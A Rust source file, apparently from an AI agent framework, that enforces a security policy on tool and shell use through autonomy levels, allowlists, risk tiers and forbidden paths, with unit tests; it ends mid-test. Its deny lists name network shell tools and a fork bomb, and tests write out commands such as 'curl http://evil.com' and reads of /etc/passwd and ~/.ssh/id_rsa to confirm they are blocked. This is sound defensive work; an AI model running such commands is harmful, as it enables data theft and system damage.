use parking_lot::Mutex;
use serde::{Deserialize, Serialize};
use std::path::{Path, PathBuf};
use std::time::Instant;

pub const PLAN_MODE_BLOCKED_CODE: &str = "plan_mode_blocked";

const PLAN_MODE_SAFE_TOOLS: &[&str] = &[
    "Glob",
    "Grep",
    "WebFetch",
    "code_search",
    "file_read",
    "image_info",
    "memory_recall",
    "web_search_tool",
];

/// How much autonomy the agent has
#[derive(Debug, Clone, Copy, Default, PartialEq, Eq, Serialize, Deserialize)]
#[serde(rename_all = "lowercase")]
pub enum AutonomyLevel {
    /// Read-only: can observe but not act
    ReadOnly,
    /// Supervised: acts but requires approval for risky operations
    #[default]
    Supervised,
    /// Full: autonomous execution within policy bounds
    Full,
}

/// Risk score for shell command execution.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum CommandRiskLevel {
    Low,
    Medium,
    High,
}

/// Classifies whether a tool operation is read-only or side-effecting.
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ToolOperation {
    Read,
    Act,
}

#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ToolSourceKind {
    Native,
    Mcp,
    McpResource,
    McpPrompt,
    Unknown,
}

#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ToolPolicyDecision {
    Allow,
    ApprovalRequired,
    Deny,
}

#[derive(Debug, Clone, PartialEq, Eq)]
pub struct ToolPolicyOutcome {
    pub decision: ToolPolicyDecision,
    pub code: Option<&'static str>,
    pub reason: Option<String>,
}

#[derive(Debug, Clone, Copy, PartialEq, Eq)]
pub enum ExecutionOrigin {
    Standard,
    Mission,
}

pub fn source_kind_for_tool(tool_name: &str) -> ToolSourceKind {
    if let Some(rest) = tool_name.strip_prefix("mcp.") {
        if rest.contains(".resource.") {
            ToolSourceKind::McpResource
        } else if rest.contains(".prompt.") {
            ToolSourceKind::McpPrompt
        } else {
            ToolSourceKind::Mcp
        }
    } else if tool_name.is_empty() {
        ToolSourceKind::Unknown
    } else {
        ToolSourceKind::Native
    }
}

/// Sliding-window action tracker for rate limiting.
#[derive(Debug)]
pub struct ActionTracker {
    /// Timestamps of recent actions (kept within the last hour).
    actions: Mutex<Vec<Instant>>,
}

impl ActionTracker {
    pub fn new() -> Self {
        Self {
            actions: Mutex::new(Vec::new()),
        }
    }

    /// Record an action and return the current count within the window.
    pub fn record(&self) -> usize {
        let mut actions = self.actions.lock();
        let cutoff = Instant::now()
            .checked_sub(std::time::Duration::from_hours(1))
            .unwrap_or_else(Instant::now);
        actions.retain(|t| *t > cutoff);
        actions.push(Instant::now());
        actions.len()
    }

    /// Count of actions in the current window without recording.
    pub fn count(&self) -> usize {
        let mut actions = self.actions.lock();
        let cutoff = Instant::now()
            .checked_sub(std::time::Duration::from_hours(1))
            .unwrap_or_else(Instant::now);
        actions.retain(|t| *t > cutoff);
        actions.len()
    }
}

impl Clone for ActionTracker {
    fn clone(&self) -> Self {
        let actions = self.actions.lock();
        Self {
            actions: Mutex::new(actions.clone()),
        }
    }
}

/// Security policy enforced on all tool executions
#[derive(Debug, Clone)]
pub struct SecurityPolicy {
    pub autonomy: AutonomyLevel,
    pub execution_mode: crate::config::ExecutionMode,
    pub workspace_dir: PathBuf,
    pub workspace_only: bool,
    pub allowed_commands: Vec<String>,
    pub forbidden_paths: Vec<String>,
    pub max_actions_per_hour: u32,
    pub require_approval_for_medium_risk: bool,
    pub block_high_risk_commands: bool,
    pub tracker: ActionTracker,
}

impl Default for SecurityPolicy {
    fn default() -> Self {
        Self {
            autonomy: AutonomyLevel::Supervised,
            execution_mode: crate::config::ExecutionMode::Standard,
            workspace_dir: PathBuf::from("."),
            workspace_only: true,
            allowed_commands: vec![
                "git".into(),
                "npm".into(),
                "cargo".into(),
                "ls".into(),
                "cat".into(),
                "grep".into(),
                "find".into(),
                "echo".into(),
                "pwd".into(),
                "wc".into(),
                "head".into(),
                "tail".into(),
            ],
            forbidden_paths: vec![
                // System directories (blocked even when workspace_only=false)
                "/etc".into(),
                "/root".into(),
                "/home".into(),
                "/usr".into(),
                "/bin".into(),
                "/sbin".into(),
                "/lib".into(),
                "/opt".into(),
                "/boot".into(),
                "/dev".into(),
                "/proc".into(),
                "/sys".into(),
                "/var".into(),
                "/tmp".into(),
                // Sensitive dotfiles
                "~/.ssh".into(),
                "~/.gnupg".into(),
                "~/.aws".into(),
                "~/.config".into(),
            ],
            max_actions_per_hour: 20,
            require_approval_for_medium_risk: true,
            block_high_risk_commands: true,
            tracker: ActionTracker::new(),
        }
    }
}

/// Skip leading environment variable assignments (e.g. `FOO=bar cmd args`).
/// Returns the remainder starting at the first non-assignment word.
fn skip_env_assignments(s: &str) -> &str {
    let mut rest = s;
    loop {
        let Some(word) = rest.split_whitespace().next() else {
            return rest;
        };
        // Environment assignment: contains '=' and starts with a letter or underscore
        if word.contains('=')
            && word
                .chars()
                .next()
                .is_some_and(|c| c.is_ascii_alphabetic() || c == '_')
        {
            // Advance past this word
            rest = rest[word.len()..].trim_start();
        } else {
            return rest;
        }
    }
}

fn command_uses_forbidden_globs(base_raw: &str, segment: &str) -> bool {
    base_raw != "find"
        && ['*', '?', '[', ']', '{', '}']
            .iter()
            .any(|ch| segment.contains(*ch))
}

fn normalize_args_for_path_checks(raw_args: &[&str]) -> Option<Vec<String>> {
    raw_args
        .iter()
        .map(|arg| normalize_arg_for_path_checks(arg))
        .collect::<Option<Vec<_>>>()
}

/// Detect a single `&` operator (background/chain). `&&` is allowed.
///
/// We treat any standalone `&` as unsafe in policy validation because it can
/// chain hidden sub-commands and escape foreground timeout expectations.
fn contains_single_ampersand(s: &str) -> bool {
    let bytes = s.as_bytes();
    for (i, b) in bytes.iter().enumerate() {
        if *b != b'&' {
            continue;
        }
        let prev_is_amp = i > 0 && bytes[i - 1] == b'&';
        let next_is_amp = i + 1 < bytes.len() && bytes[i + 1] == b'&';
        if !prev_is_amp && !next_is_amp {
            return true;
        }
    }
    false
}

impl SecurityPolicy {
    pub fn plan_mode_allows_tool(tool_name: &str) -> bool {
        PLAN_MODE_SAFE_TOOLS.contains(&tool_name)
    }

    pub fn evaluate_tool_policy(&self, tool_name: &str) -> ToolPolicyDecision {
        self.evaluate_tool_policy_for_origin(tool_name, ExecutionOrigin::Standard)
    }

    pub fn evaluate_tool_policy_outcome(&self, tool_name: &str) -> ToolPolicyOutcome {
        self.evaluate_tool_policy_outcome_for_origin(tool_name, ExecutionOrigin::Standard)
    }

    pub fn evaluate_tool_policy_for_origin(
        &self,
        tool_name: &str,
        origin: ExecutionOrigin,
    ) -> ToolPolicyDecision {
        self.evaluate_tool_policy_outcome_for_origin(tool_name, origin)
            .decision
    }

    pub fn evaluate_tool_policy_outcome_for_origin(
        &self,
        tool_name: &str,
        _origin: ExecutionOrigin,
    ) -> ToolPolicyOutcome {
        if self.autonomy == AutonomyLevel::ReadOnly {
            return ToolPolicyOutcome {
                decision: ToolPolicyDecision::Deny,
                code: None,
                reason: Some("read-only autonomy level blocks tool execution".to_string()),
            };
        }

        if self.execution_mode == crate::config::ExecutionMode::Plan {
            return if Self::plan_mode_allows_tool(tool_name) {
                ToolPolicyOutcome {
                    decision: ToolPolicyDecision::Allow,
                    code: None,
                    reason: None,
                }
            } else {
                ToolPolicyOutcome {
                    decision: ToolPolicyDecision::Deny,
                    code: Some(PLAN_MODE_BLOCKED_CODE),
                    reason: Some(format!(
                        "Plan Mode allows analysis-only capabilities and blocks `{tool_name}`"
                    )),
                }
            };
        }

        match source_kind_for_tool(tool_name) {
            ToolSourceKind::Native => ToolPolicyOutcome {
                decision: ToolPolicyDecision::Allow,
                code: None,
                reason: None,
            },
            ToolSourceKind::Mcp
            | ToolSourceKind::McpResource
            | ToolSourceKind::McpPrompt
            | ToolSourceKind::Unknown => ToolPolicyOutcome {
                decision: ToolPolicyDecision::ApprovalRequired,
                code: None,
                reason: None,
            },
        }
    }

    /// Classify command risk. Any high-risk segment marks the whole command high.
    pub fn command_risk_level(&self, command: &str) -> CommandRiskLevel {
        let command = iterative_url_decode(command);
        if command.contains('%') {
            return CommandRiskLevel::High;
        }

        // Early exit on the raw command catches snippets that span segment
        // boundaries (e.g. fork bombs containing `;`).  The per-segment check
        // below is intentionally kept for snippets that appear within a single
        // pipeline segment after normalization.
        if contains_high_risk_snippet(&command.to_ascii_lowercase()) {
            return CommandRiskLevel::High;
        }

        let normalized = normalize_risk_segments(&command);

        let mut saw_medium = false;

        for segment in normalized.split('\x00') {
            let segment = segment.trim();
            if segment.is_empty() {
                continue;
            }

            let cmd_part = skip_env_assignments(segment);
            let mut words = cmd_part.split_whitespace();
            let Some(base_raw) = words.next() else {
                continue;
            };

            let base = base_raw.to_ascii_lowercase();
            let args: Vec<String> = words.map(|w| w.to_ascii_lowercase()).collect();
            let joined_segment = cmd_part.to_ascii_lowercase();

            if is_high_risk_base_command(&base) || contains_high_risk_snippet(&joined_segment) {
                return CommandRiskLevel::High;
            }

            saw_medium |= is_medium_risk_command(&base, &args);
        }

        if saw_medium {
            CommandRiskLevel::Medium
        } else {
            CommandRiskLevel::Low
        }
    }

    /// Validate full command execution policy (allowlist + risk gate).
    pub fn validate_command_execution(
        &self,
        command: &str,
        approved: bool,
    ) -> Result<CommandRiskLevel, String> {
        let risk = self.command_risk_level(command);

        if risk == CommandRiskLevel::High {
            if self.block_high_risk_commands {
                return Err("Command blocked: high-risk command is disallowed by policy".into());
            }
            if self.autonomy == AutonomyLevel::Supervised && !approved {
                return Err(
                    "Command requires explicit approval (approved=true): high-risk operation"
                        .into(),
                );
            }
        }

        if !self.is_command_allowed(command) {
            return Err(format!("Command not allowed by security policy: {command}"));
        }

        if risk == CommandRiskLevel::Medium
            && self.autonomy == AutonomyLevel::Supervised
            && self.require_approval_for_medium_risk
            && !approved
        {
            return Err(
                "Command requires explicit approval (approved=true): medium-risk operation".into(),
            );
        }

        Ok(risk)
    }

    /// Check if a shell command is allowed.
    ///
    /// Validates the **entire** command string, not just the first word:
    /// - Blocks subshell operators (`` ` ``, `$(`) that hide arbitrary execution
    /// - Splits on command separators (`|`, `&&`, `||`, `;`, newlines) and
    ///   validates each sub-command against the allowlist
    /// - Blocks single `&` background chaining (`&&` remains supported)
    /// - Blocks output redirections (`>`, `>>`) that could write outside workspace
    /// - Blocks dangerous arguments (e.g. `find -exec`, `git config`)
    pub fn is_command_allowed(&self, command: &str) -> bool {
        if self.autonomy == AutonomyLevel::ReadOnly {
            return false;
        }

        let command = iterative_url_decode(command);
        if command.contains('%') {
            return false;
        }

        if self.contains_blocked_operators(&command) {
            return false;
        }

        self.validate_command_segments(&command)
    }

    fn contains_blocked_operators(&self, command: &str) -> bool {
        command.contains('`')
            || command.contains("$(")
            || command.contains("${")
            || command.contains("<(")
            || command.contains(">(")
            || command.contains('<')
            || command.contains('>')
            || command.contains('\\')
            || self.contains_dangerous_commands(command)
            || contains_single_ampersand(command)
    }

    fn contains_dangerous_commands(&self, command: &str) -> bool {
        command
            .split_whitespace()
            .any(|w| w == "tee" || w.ends_with("/tee"))
    }

    fn is_likely_path(arg: &str) -> bool {
        (arg.contains('/') && !arg.contains(':'))
            || arg.starts_with('~')
            || arg.starts_with('.')
            || arg.contains(std::path::MAIN_SEPARATOR)
    }

    fn effective_path_arg(arg: &str) -> &str {
        if arg.starts_with("--") {
            arg.split_once('=').map(|(_, value)| value).unwrap_or(arg)
        } else if arg.starts_with('-') && arg.len() > 2 {
            arg.char_indices()
                .nth(2)
                .map(|(idx, _)| &arg[idx..])
                .unwrap_or("")
        } else {
            arg
        }
    }

    fn is_path_argument_safe(&self, effective_arg: &str) -> bool {
        if !Self::is_likely_path(effective_arg) {
            return true;
        }

        if Path::new(effective_arg)
            .components()
            .any(|c| matches!(c, std::path::Component::ParentDir))
            || (self.workspace_only
                && (effective_arg.starts_with('/') || effective_arg.starts_with('~')))
        {
            return false;
        }

        !matches_any_forbidden_path(effective_arg, &self.forbidden_paths)
    }

    fn validate_command_segments(&self, command: &str) -> bool {
        let normalized = self.normalize_command(command);

        let all_segments_valid = normalized.split('\x00').all(|s| self.is_segment_valid(s));

        all_segments_valid && self.has_any_command(&normalized)
    }

    fn is_segment_valid(&self, segment: &str) -> bool {
        let segment = segment.trim();
        if segment.is_empty() {
            return true;
        }

        let cmd_part = skip_env_assignments(segment);
        let mut words = cmd_part.split_whitespace();
        let Some(base_raw) = words.next() else {
            return true;
        };

        if !self.is_allowed_command(base_raw) {
            return false;
        }
        if command_uses_forbidden_globs(base_raw, segment) {
            return false;
        }

        let raw_args: Vec<&str> = words.collect();
        let normalized_args = match normalize_args_for_path_checks(&raw_args) {
            Some(args) => args,
            None => return false,
        };
        let args: Vec<String> = normalized_args
            .iter()
            .map(|arg| arg.to_ascii_lowercase())
            .collect();

        for arg in &normalized_args {
            let effective_arg = Self::effective_path_arg(arg);
            if !self.is_path_argument_safe(effective_arg) {
                return false;
            }
        }

        if !self.is_args_safe(base_raw, &args) {
            return false;
        }

        true
    }

    fn is_allowed_command(&self, base_raw: &str) -> bool {
        self.allowed_commands
            .iter()
            .any(|allowed| allowed == base_raw)
    }

    fn has_any_command(&self, normalized: &str) -> bool {
        normalized.split('\x00').any(|s| {
            let s = skip_env_assignments(s.trim());
            s.split_whitespace().next().is_some_and(|w| !w.is_empty())
        })
    }

    fn normalize_command(&self, command: &str) -> String {
        let mut normalized = command.to_string();
        for sep in ["&&", "||"] {
            normalized = normalized.replace(sep, "\x00");
        }
        for sep in ['\n', ';', '|'] {
            normalized = normalized.replace(sep, "\x00");
        }
        normalized
    }

    /// Check for dangerous arguments that allow sub-command execution.
    fn is_args_safe(&self, base: &str, args: &[String]) -> bool {
        let base = base.to_ascii_lowercase();
        match base.as_str() {
            "find" => {
                // find -exec and find -ok allow arbitrary command execution
                !args.iter().any(|arg| arg == "-exec" || arg == "-ok")
            }
            "git" => {
                // git config, alias, and -c can be used to set dangerous options
                // (e.g. git config core.editor "rm -rf /")
                !args.iter().any(|arg| {
                    arg == "config"
                        || arg.starts_with("config.")
                        || arg == "alias"
                        || arg.starts_with("alias.")
                        || arg == "-c"
                })
            }
            "npm" | "pnpm" | "yarn" => {
                // npm config and set can be used to set dangerous options
                // (e.g. npm config set editor "rm -rf /")
                !args.iter().any(|arg| arg == "config" || arg == "set")
            }
            _ => true,
        }
    }

    /// Check if a file path is allowed (no path traversal, within workspace)
    pub fn is_path_allowed(&self, path: &str) -> bool {
        // Block null bytes (can truncate paths in C-backed syscalls)
        if path.contains('\0') {
            return false;
        }

        // Block backslashes (Windows-style separators or escaping)
        if path.contains('\\') {
            return false;
        }

        // Reject quoted direct path inputs before validation so quotes cannot hide
        // absolute paths or traversal components from `Path::components`.
        if path.len() >= 2
            && ((path.starts_with('"') && path.ends_with('"'))
                || (path.starts_with('\'') && path.ends_with('\'')))
        {
            return false;
        }

        // Block percent signs rather than decoding direct path inputs here.
        if path.contains('%') {
            return false;
        }

        // Block path traversal: check for ".." as a path component
        if Path::new(path)
            .components()
            .any(|c| matches!(c, std::path::Component::ParentDir))
        {
            return false;
        }

        let expanded = expand_tilde(path);

        // Block absolute paths when workspace_only is set
        if self.workspace_only && Path::new(&expanded).is_absolute() {
            return false;
        }

        // Block forbidden paths using path-component-aware matching
        if matches_any_forbidden_path(&expanded, &self.forbidden_paths) {
            return false;
        }

        true
    }

    /// Validate that a resolved path is still inside the workspace.
    /// Call this AFTER joining `workspace_dir` + relative path and canonicalizing.
    pub fn is_resolved_path_allowed(&self, resolved: &Path) -> bool {
        // Must be under workspace_dir (prevents symlink escapes).
        // Prefer canonical workspace root so `/a/../b` style config paths don't
        // cause false positives or negatives.
        let workspace_root = self
            .workspace_dir
            .canonicalize()
            .unwrap_or_else(|_| self.workspace_dir.clone());
        resolved.starts_with(workspace_root)
    }

    /// Check if autonomy level permits any action at all
    pub fn can_act(&self) -> bool {
        self.autonomy != AutonomyLevel::ReadOnly
    }

    /// Enforce policy for a tool operation.
    ///
    /// Read operations are always allowed by autonomy/rate gates.
    /// Act operations require non-readonly autonomy and available action budget.
    pub fn enforce_tool_operation(
        &self,
        operation: ToolOperation,
        operation_name: &str,
    ) -> Result<(), String> {
        match operation {
            ToolOperation::Read => Ok(()),
            ToolOperation::Act => {
                if !self.can_act() {
                    return Err(format!(
                        "Security policy: read-only mode, cannot perform '{operation_name}'"
                    ));
                }

                if !self.record_action() {
                    return Err("Rate limit exceeded: action budget exhausted".to_string());
                }

                Ok(())
            }
        }
    }

    /// Record an action and check if the rate limit has been exceeded.
    /// Returns `true` if the action is allowed, `false` if rate-limited.
    pub fn record_action(&self) -> bool {
        let count = self.tracker.record();
        count <= self.max_actions_per_hour as usize
    }

    /// Check if the rate limit would be exceeded without recording.
    pub fn is_rate_limited(&self) -> bool {
        self.tracker.count() >= self.max_actions_per_hour as usize
    }

    /// Build from config sections
    pub fn from_config(
        autonomy_config: &crate::config::AutonomyConfig,
        workspace_dir: &Path,
        execution_mode: crate::config::ExecutionMode,
    ) -> Self {
        Self {
            autonomy: autonomy_config.level,
            execution_mode,
            workspace_dir: workspace_dir.to_path_buf(),
            workspace_only: autonomy_config.workspace_only,
            allowed_commands: autonomy_config.allowed_commands.clone(),
            forbidden_paths: autonomy_config.forbidden_paths.clone(),
            max_actions_per_hour: autonomy_config.max_actions_per_hour,
            require_approval_for_medium_risk: autonomy_config.require_approval_for_medium_risk,
            block_high_risk_commands: autonomy_config.block_high_risk_commands,
            tracker: ActionTracker::new(),
        }
    }
}

fn normalize_risk_segments(command: &str) -> String {
    let mut normalized = command.to_string();
    for sep in ["&&", "||"] {
        normalized = normalized.replace(sep, "\x00");
    }
    for sep in ['\n', ';', '|', '&'] {
        normalized = normalized.replace(sep, "\x00");
    }
    normalized
}

fn is_high_risk_base_command(base: &str) -> bool {
    matches!(
        base,
        "rm" | "mkfs"
            | "dd"
            | "shutdown"
            | "reboot"
            | "halt"
            | "poweroff"
            | "sudo"
            | "su"
            | "chown"
            | "chmod"
            | "useradd"
            | "userdel"
            | "usermod"
            | "passwd"
            | "mount"
            | "umount"
            | "iptables"
            | "ufw"
            | "firewall-cmd"
            | "curl"
            | "wget"
            | "nc"
            | "ncat"
            | "netcat"
            | "scp"
            | "ssh"
            | "ftp"
            | "telnet"
    )
}

fn contains_high_risk_snippet(segment: &str) -> bool {
    segment.contains("rm -rf /")
        || segment.contains("rm -fr /")
        || segment.contains(":(){:|:&};:")
        || segment.contains(":(){ :|:& };")
        || segment.contains(":(){ :|:& };:")
}

fn is_medium_risk_command(base: &str, args: &[String]) -> bool {
    match base {
        "git" => args.first().is_some_and(|verb| {
            matches!(
                verb.as_str(),
                "commit"
                    | "push"
                    | "reset"
                    | "clean"
                    | "rebase"
                    | "merge"
                    | "cherry-pick"
                    | "revert"
                    | "branch"
                    | "checkout"
                    | "switch"
                    | "tag"
            )
        }),
        "npm" | "pnpm" | "yarn" => args.first().is_some_and(|verb| {
            matches!(
                verb.as_str(),
                "install"
                    | "add"
                    | "remove"
                    | "uninstall"
                    | "update"
                    | "publish"
                    | "run"
                    | "run-script"
                    | "test"
                    | "t"
                    | "it"
                    | "cit"
            )
        }),
        "cargo" => args.first().is_some_and(|verb| {
            matches!(
                verb.as_str(),
                "add" | "remove" | "install" | "clean" | "publish" | "run" | "r" | "test" | "t"
            )
        }),
        "touch" | "mkdir" | "mv" | "cp" | "ln" => true,
        _ => false,
    }
}

/// Expand a leading `~/` to the user's home directory.
fn expand_tilde(path: &str) -> String {
    if let Some(stripped) = path.strip_prefix("~/") {
        if let Some(home) = std::env::var("HOME").ok().map(PathBuf::from) {
            return home.join(stripped).to_string_lossy().to_string();
        }
    }
    path.to_string()
}

fn strip_all_quotes(token: &str) -> String {
    let mut stripped = String::with_capacity(token.len());
    for ch in token.chars() {
        if ch != '"' && ch != '\'' {
            stripped.push(ch);
        }
    }
    stripped
}

fn normalize_arg_for_path_checks(token: &str) -> Option<String> {
    let decoded = iterative_url_decode(token);
    if decoded.contains('%') {
        return None;
    }

    let dequoted = strip_all_quotes(&decoded);
    if dequoted == "$HOME" || dequoted == "${HOME}" || dequoted == "$PATH" || dequoted == "${PATH}"
    {
        return Some(dequoted);
    }
    if dequoted.contains('$') || dequoted.starts_with('~') {
        return shellexpand::full(&dequoted)
            .ok()
            .map(|value| value.into_owned());
    }
    Some(dequoted)
}

/// Check whether `expanded` path starts with any of the forbidden paths.
fn iterative_url_decode(input: &str) -> String {
    let mut decoded = input.to_string();
    for _ in 0..10 {
        let next = urlencoding::decode(decoded.as_str()).unwrap_or_else(|_| decoded.clone().into());
        if next == decoded {
            break;
        }
        decoded = next.into_owned();
    }
    decoded
}

fn matches_any_forbidden_path(expanded: &str, forbidden_paths: &[String]) -> bool {
    let expanded_path = Path::new(expanded);
    for forbidden in forbidden_paths {
        let forbidden_expanded = expand_tilde(forbidden);
        let forbidden_path = Path::new(&forbidden_expanded);
        if expanded_path.starts_with(forbidden_path) {
            return true;
        }
    }
    false
}

#[cfg(test)]
mod tests {
    use super::*;

    fn default_policy() -> SecurityPolicy {
        SecurityPolicy::default()
    }

    fn readonly_policy() -> SecurityPolicy {
        SecurityPolicy {
            autonomy: AutonomyLevel::ReadOnly,
            ..SecurityPolicy::default()
        }
    }

    fn full_policy() -> SecurityPolicy {
        SecurityPolicy {
            autonomy: AutonomyLevel::Full,
            ..SecurityPolicy::default()
        }
    }

    // ── AutonomyLevel ────────────────────────────────────────

    #[test]
    fn autonomy_default_is_supervised() {
        assert_eq!(AutonomyLevel::default(), AutonomyLevel::Supervised);
    }

    #[test]
    fn autonomy_serde_roundtrip() {
        let json = serde_json::to_string(&AutonomyLevel::Full).unwrap();
        assert_eq!(json, "\"full\"");
        let parsed: AutonomyLevel = serde_json::from_str("\"readonly\"").unwrap();
        assert_eq!(parsed, AutonomyLevel::ReadOnly);
        let parsed2: AutonomyLevel = serde_json::from_str("\"supervised\"").unwrap();
        assert_eq!(parsed2, AutonomyLevel::Supervised);
    }

    #[test]
    fn can_act_readonly_false() {
        assert!(!readonly_policy().can_act());
    }

    #[test]
    fn can_act_supervised_true() {
        assert!(default_policy().can_act());
    }

    #[test]
    fn can_act_full_true() {
        assert!(full_policy().can_act());
    }

    #[test]
    fn enforce_tool_operation_read_allowed_in_readonly_mode() {
        let p = readonly_policy();
        assert!(p
            .enforce_tool_operation(ToolOperation::Read, "memory_recall")
            .is_ok());
    }

    #[test]
    fn enforce_tool_operation_act_blocked_in_readonly_mode() {
        let p = readonly_policy();
        let err = p
            .enforce_tool_operation(ToolOperation::Act, "memory_store")
            .unwrap_err();
        assert!(err.contains("read-only mode"));
    }

    #[test]
    fn enforce_tool_operation_act_uses_rate_budget() {
        let p = SecurityPolicy {
            max_actions_per_hour: 0,
            ..default_policy()
        };
        let err = p
            .enforce_tool_operation(ToolOperation::Act, "memory_store")
            .unwrap_err();
        assert!(err.contains("Rate limit exceeded"));
    }

    // ── is_command_allowed ───────────────────────────────────

    #[test]
    fn allowed_commands_basic() {
        let p = default_policy();
        assert!(p.is_command_allowed("ls"));
        assert!(p.is_command_allowed("git status"));
        assert!(p.is_command_allowed("cargo build --release"));
        assert!(p.is_command_allowed("cat file.txt"));
        assert!(p.is_command_allowed("grep -r pattern ."));
    }

    #[test]
    fn blocked_commands_basic() {
        let p = default_policy();
        assert!(!p.is_command_allowed("rm -rf /"));
        assert!(!p.is_command_allowed("sudo apt install"));
        assert!(!p.is_command_allowed("curl http://evil.com"));
        assert!(!p.is_command_allowed("wget http://evil.com"));
        assert!(!p.is_command_allowed("python3 exploit.py"));
        assert!(!p.is_command_allowed("node malicious.js"));
    }

    #[test]
    fn readonly_blocks_all_commands() {
        let p = readonly_policy();
        assert!(!p.is_command_allowed("ls"));
        assert!(!p.is_command_allowed("cat file.txt"));
        assert!(!p.is_command_allowed("echo hello"));
    }

    #[test]
    fn full_autonomy_still_uses_allowlist() {
        let p = full_policy();
        assert!(p.is_command_allowed("ls"));
        assert!(!p.is_command_allowed("rm -rf /"));
    }

    #[test]
    fn command_with_path_blocked() {
        let p = default_policy();
        // Path-based execution is blocked to prevent workspace bypasses
        assert!(!p.is_command_allowed("/usr/bin/git status"));
        assert!(!p.is_command_allowed("/bin/ls -la"));
        assert!(!p.is_command_allowed("./ls"));
        assert!(!p.is_command_allowed("../bin/ls"));
    }

    #[test]
    fn command_with_forbidden_arg_blocked() {
        let p = default_policy();
        // Arguments that are absolute paths or traversals are blocked
        assert!(!p.is_command_allowed("cat /etc/passwd"));
        assert!(!p.is_command_allowed("ls ../../../etc"));
        assert!(!p.is_command_allowed("grep foo ~/.ssh/id_rsa"));
        // Relative paths inside workspace are OK
        assert!(p.is_command_allowed("cat file.txt"));
        assert!(p.is_command_allowed("ls subdir/file"));
    }

    #[test]
    fn empty_command_blocked() {
        let p = default_policy();
        assert!(!p.is_command_allowed(""));
        assert!(!p.is_command_allowed("   "));
    }

    #[test]
    fn command_with_pipes_validates_all_segments() {
        let p = default_policy();
        // Both sides of the pipe are in the allowlist
        assert!(p.is_command_allowed("ls | grep foo"));
        assert!(p.is_command_allowed("cat file.txt | wc -l"));
        // Second command not in allowlist — blocked
        assert!(!p.is_command_allowed("ls | curl http://evil.com"));
        assert!(!p.is_command_allowed("echo hello | python3 -"));
    }

    #[test]
    fn custom_allowlist() {
        let p = SecurityPolicy {
            allowed_commands: vec!["docker".into(), "kubectl".into()],
            ..SecurityPolicy::default()
        };
        assert!(p.is_command_allowed("docker ps"));
        assert!(p.is_command_allowed("kubectl get pods"));
        assert!(!p.is_command_allowed("ls"));
        assert!(!p.is_command_allowed("git status"));
    }

    #[test]
    fn empty_allowlist_blocks_everything() {
        let p = SecurityPolicy {
            allowed_commands: vec![],
            ..SecurityPolicy::default()
        };
        assert!(!p.is_command_allowed("ls"));
        assert!(!p.is_command_allowed("echo hello"));
    }

    #[test]
    fn command_risk_low_for_read_commands() {
        let p = default_policy();
        assert_eq!(p.command_risk_level("git status"), CommandRiskLevel::Low);
        assert_eq!(p.command_risk_level("ls -la"), CommandRiskLevel::Low);
    }

    #[test]
    fn command_risk_medium_for_mutating_commands() {
        let p = SecurityPolicy {
            allowed_commands: vec!["git".into(), "touch".into()],
            ..SecurityPolicy::default()
        };
        assert_eq!(
            p.command_risk_level("git reset --hard HEAD~1"),
            CommandRiskLevel::Medium
        );
        assert_eq!(
            p.command_risk_level("touch file.txt"),
            CommandRiskLevel::Medium
        );
    }

    #[test]
    fn command_risk_high_for_dangerous_commands() {
        let p = SecurityPolicy {
            allowed_commands: vec!["rm".into()],
            ..SecurityPolicy::default()
        };
        assert_eq!(
            p.command_risk_level("rm -rf /tmp/test"),
            CommandRiskLevel::High
        );
    }

    #[test]
    fn validate_command_requires_approval_for_medium_risk() {
        let p = SecurityPolicy {
            autonomy: AutonomyLevel::Supervised,
            require_approval_for_medium_risk: true,
            allowed_commands: vec!["touch".into()],
            ..SecurityPolicy::default()
        };

        let denied = p.validate_command_execution("touch test.txt", false);
        assert!(denied.is_err());
        assert!(denied.unwrap_err().contains("requires explicit approval"),);

        let allowed = p.validate_command_execution("touch test.txt", true);
        assert_eq!(allowed.unwrap(), CommandRiskLevel::Medium);
    }

    #[test]
    fn validate_command_blocks_high_risk_by_default() {
        let p = SecurityPolicy {
            autonomy: AutonomyLevel::Supervised,
            allowed_commands: vec!["rm".into()],
            ..SecurityPolicy::default()
        };

        let result = p.validate_command_execution("rm -rf /tmp/test", true);
        assert!(result.is_err());
        assert!(result.unwrap_err().contains("high-risk"));
    }

    #[test]
    fn validate_command_rejects_background_chain_bypass() {
        let p = default_policy();
        let result = p.validate_command_execution("ls & python3 -c 'print(1)'", false);
        assert!(result.is_err());
        assert!(result.unwrap_err().contains("not allowed"));
    }

    // ── is_path_allowed ─────────────────────────────────────

    #[test]
    fn relative_paths_allowed() {
        let p = default_policy();
        assert!(p.is_path_allowed("file.txt"));
        assert!(p.is_path_allowed("src/main.rs"));
        assert!(p.is_path_allowed("deep/nested/dir/file.txt"));
    }

    #[test]
    fn path_traversal_blocked() {
        let p = default_policy();
        assert!(!p.is_path_allowed("../etc/passwd"));
        assert!(!p.is_path_allowed("../../root/.ssh/id_rsa"));
        assert!(!p.is_path_allowed("foo/../../../etc/shadow"));
        assert!(!p.is_path_allowed(".."));
    }

    #[test]
    fn absolute_paths_blocked_when_workspace_only() {
        let p = default_policy();
        assert!(!p.is_path_allowed("/etc/passwd"));
        assert!(!p.is_path_allowed("/root/.ssh/id_rsa"));
        assert!(!p.is_path_allowed("/tmp/file.txt"));
    }

    #[test]
    fn absolute_paths_allowed_when_not_workspace_only() {
        let p = SecurityPolicy {
            workspace_only: false,
            forbidden_paths: vec![],
            ..SecurityPolicy::default()
        };
        assert!(p.is_path_allowed("/tmp/file.txt"));
    }

    #[test]
    fn forbidden_paths_blocked() {
        let p = SecurityPolicy {
            workspace_only: false,
            ..SecurityPolicy::default()
        };
        assert!(!p.is_path_allowed("/etc/passwd"));
        assert!(!p.is_path_allowed("/root/.bashrc"));
        assert!(!p.is_path_allowed("~/.ssh/id_rsa"));
        assert!(!p.is_path_allowed("~/.gnupg/pubring.kbx"));
    }

    #[test]
    fn empty_path_allowed() {
        let p = default_policy();
        assert!(p.is_path_allowed(""));
    }

    #[test]
    fn dotfile_in_workspace_allowed() {
        let p = default_policy();
        assert!(p.is_path_allowed(".gitignore"));
        assert!(p.is_path_allowed(".env"));
    }

    // ── from_config ─────────────────────────────────────────

    #[test]
    fn from_config_maps_all_fields() {
        let autonomy_config = crate::config::AutonomyConfig {
            level: AutonomyLevel::Full,
            workspace_only: false,
            allowed_commands: vec!["docker".into()],
            forbidden_paths: vec!["/secret".into()],
            max_actions_per_hour: 100,
            require_approval_for_medium_risk: false,
            block_high_risk_commands: false,
